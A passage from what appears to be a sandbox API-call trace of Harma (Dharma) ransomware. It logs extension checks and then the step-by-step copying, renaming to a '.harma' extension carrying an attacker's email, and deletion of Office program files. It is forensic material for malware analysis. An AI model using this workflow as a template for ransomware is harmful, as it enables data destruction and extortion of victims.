Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.207] lstrlenW (lpString=".dbf") returned 4 [0160.207] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.207] lstrlenW (lpString=".1cd") returned 4 [0160.207] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString=".jpg") returned 4 [0160.208] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString=".doc") returned 4 [0160.208] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0160.208] lstrlenW (lpString=".docx") returned 5 [0160.208] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0160.208] lstrlenW (lpString=".pdf") returned 4 [0160.208] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0160.208] lstrlenW (lpString=".xls") returned 4 [0160.208] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0160.208] lstrlenW (lpString=".xlsx") returned 5 [0160.208] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0160.208] lstrlenW (lpString=".ppt") returned 4 [0160.208] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString=".zip") returned 4 [0160.208] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0160.208] lstrlenW (lpString=".rar") returned 4 [0160.208] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0160.208] lstrlenW (lpString=".bz2") returned 4 [0160.208] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0160.208] lstrlenW (lpString=".7z") returned 3 [0160.208] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString=".dbf") returned 4 [0160.208] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString=".1cd") returned 4 [0160.208] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.208] lstrlenW (lpString=".jpg") returned 4 [0160.209] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0160.209] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0160.209] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0160.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.421] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=83808) returned 1 [0160.421] CloseHandle (hObject=0x34c) returned 1 [0160.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll")) returned 0x20 [0160.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.422] lstrlenW (lpString=".doc") returned 4 [0160.422] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.422] lstrlenW (lpString=".docx") returned 5 [0160.422] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0160.422] lstrlenW (lpString=".pdf") returned 4 [0160.422] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.422] lstrlenW (lpString=".xls") returned 4 [0160.422] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.422] lstrlenW (lpString=".xlsx") returned 5 [0160.422] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0160.422] lstrlenW (lpString=".ppt") returned 4 [0160.422] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.422] lstrlenW (lpString=".zip") returned 4 [0160.422] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.422] lstrlenW (lpString=".rar") returned 4 [0160.422] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString=".bz2") returned 4 [0160.423] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.423] lstrlenW (lpString=".7z") returned 3 [0160.423] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.423] lstrlenW (lpString=".dbf") returned 4 [0160.423] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.423] lstrlenW (lpString=".1cd") returned 4 [0160.423] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.423] lstrlenW (lpString=".jpg") returned 4 [0160.423] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.423] lstrlenW (lpString=".doc") returned 4 [0160.423] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString=".docx") returned 5 [0160.423] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0160.423] lstrlenW (lpString=".pdf") returned 4 [0160.423] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString=".xls") returned 4 [0160.423] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString=".xlsx") returned 5 [0160.423] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0160.423] lstrlenW (lpString=".ppt") returned 4 [0160.423] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.423] lstrlenW (lpString=".zip") returned 4 [0160.423] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.423] lstrlenW (lpString=".rar") returned 4 [0160.423] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.424] lstrlenW (lpString=".bz2") returned 4 [0160.424] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.424] lstrlenW (lpString=".7z") returned 3 [0160.424] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.424] lstrlenW (lpString=".dbf") returned 4 [0160.424] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.424] lstrlenW (lpString=".1cd") returned 4 [0160.424] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0160.424] lstrlenW (lpString=".jpg") returned 4 [0160.424] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.424] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0160.424] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0160.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.434] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=48488) returned 1 [0160.435] CloseHandle (hObject=0x378) returned 1 [0160.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 0x20 [0160.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.483] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.483] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0160.484] GetLastError () returned 0x0 [0160.484] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xbd68, lpOverlapped=0x0) returned 1 [0160.498] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xbd70, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xbd70, lpOverlapped=0x0) returned 1 [0160.501] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.501] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.501] SetEndOfFile (hFile=0x20c) returned 1 [0160.507] CloseHandle (hObject=0x20c) returned 1 [0160.507] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.507] SetEndOfFile (hFile=0x1b4) returned 1 [0160.510] CloseHandle (hObject=0x1b4) returned 1 [0160.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 1 [0160.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.511] lstrlenW (lpString=".doc") returned 4 [0160.511] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0160.511] lstrlenW (lpString=".docx") returned 5 [0160.511] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0160.511] lstrlenW (lpString=".pdf") returned 4 [0160.511] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0160.511] lstrlenW (lpString=".xls") returned 4 [0160.511] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0160.511] lstrlenW (lpString=".xlsx") returned 5 [0160.511] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0160.511] lstrlenW (lpString=".ppt") returned 4 [0160.511] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0160.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.511] lstrlenW (lpString=".zip") returned 4 [0160.511] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0160.511] lstrlenW (lpString=".rar") returned 4 [0160.511] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0160.511] lstrlenW (lpString=".bz2") returned 4 [0160.511] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0160.511] lstrlenW (lpString=".7z") returned 3 [0160.511] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.512] lstrlenW (lpString=".dbf") returned 4 [0160.512] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.512] lstrlenW (lpString=".1cd") returned 4 [0160.512] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.512] lstrlenW (lpString=".jpg") returned 4 [0160.512] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.512] lstrlenW (lpString=".doc") returned 4 [0160.512] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString=".docx") returned 5 [0160.512] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0160.512] lstrlenW (lpString=".pdf") returned 4 [0160.512] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString=".xls") returned 4 [0160.512] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0160.512] lstrlenW (lpString=".xlsx") returned 5 [0160.512] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0160.512] lstrlenW (lpString=".ppt") returned 4 [0160.512] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.512] lstrlenW (lpString=".zip") returned 4 [0160.512] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0160.512] lstrlenW (lpString=".rar") returned 4 [0160.512] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString=".bz2") returned 4 [0160.512] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0160.512] lstrlenW (lpString=".7z") returned 3 [0160.513] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.513] lstrlenW (lpString=".dbf") returned 4 [0160.513] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.513] lstrlenW (lpString=".1cd") returned 4 [0160.513] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0160.513] lstrlenW (lpString=".jpg") returned 4 [0160.513] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0160.513] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0160.513] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0160.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.513] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=207) returned 1 [0160.514] CloseHandle (hObject=0x1b4) returned 1 [0160.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 0x20 [0160.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.514] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.514] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0160.515] GetLastError () returned 0x0 [0160.515] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xcf, lpOverlapped=0x0) returned 1 [0160.533] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0160.534] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.534] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0160.534] SetEndOfFile (hFile=0x20c) returned 1 [0160.535] CloseHandle (hObject=0x20c) returned 1 [0160.535] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.535] SetEndOfFile (hFile=0x1b4) returned 1 [0160.537] CloseHandle (hObject=0x1b4) returned 1 [0160.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 1 [0160.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.538] lstrlenW (lpString=".doc") returned 4 [0160.538] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0160.538] lstrlenW (lpString=".docx") returned 5 [0160.538] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0160.538] lstrlenW (lpString=".pdf") returned 4 [0160.538] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0160.538] lstrlenW (lpString=".xls") returned 4 [0160.539] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0160.539] lstrlenW (lpString=".xlsx") returned 5 [0160.539] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0160.539] lstrlenW (lpString=".ppt") returned 4 [0160.539] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0160.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.539] lstrlenW (lpString=".zip") returned 4 [0160.539] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0160.539] lstrlenW (lpString=".rar") returned 4 [0160.539] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0160.539] lstrlenW (lpString=".bz2") returned 4 [0160.539] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0160.539] lstrlenW (lpString=".7z") returned 3 [0160.539] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0160.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.539] lstrlenW (lpString=".dbf") returned 4 [0160.539] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0160.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.539] lstrlenW (lpString=".1cd") returned 4 [0160.539] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0160.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.539] lstrlenW (lpString=".jpg") returned 4 [0160.539] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0160.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.539] lstrlenW (lpString=".doc") returned 4 [0160.539] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0160.539] lstrlenW (lpString=".docx") returned 5 [0160.539] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0160.539] lstrlenW (lpString=".pdf") returned 4 [0160.539] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0160.539] lstrlenW (lpString=".xls") returned 4 [0160.540] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0160.540] lstrlenW (lpString=".xlsx") returned 5 [0160.540] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0160.540] lstrlenW (lpString=".ppt") returned 4 [0160.540] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0160.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.540] lstrlenW (lpString=".zip") returned 4 [0160.540] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0160.540] lstrlenW (lpString=".rar") returned 4 [0160.540] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0160.540] lstrlenW (lpString=".bz2") returned 4 [0160.540] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0160.540] lstrlenW (lpString=".7z") returned 3 [0160.540] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0160.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.540] lstrlenW (lpString=".dbf") returned 4 [0160.540] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0160.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.540] lstrlenW (lpString=".1cd") returned 4 [0160.540] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0160.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0160.540] lstrlenW (lpString=".jpg") returned 4 [0160.540] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0160.540] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0160.540] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0160.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.541] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=114) returned 1 [0160.541] CloseHandle (hObject=0x1b4) returned 1 [0160.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 0x20 [0160.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 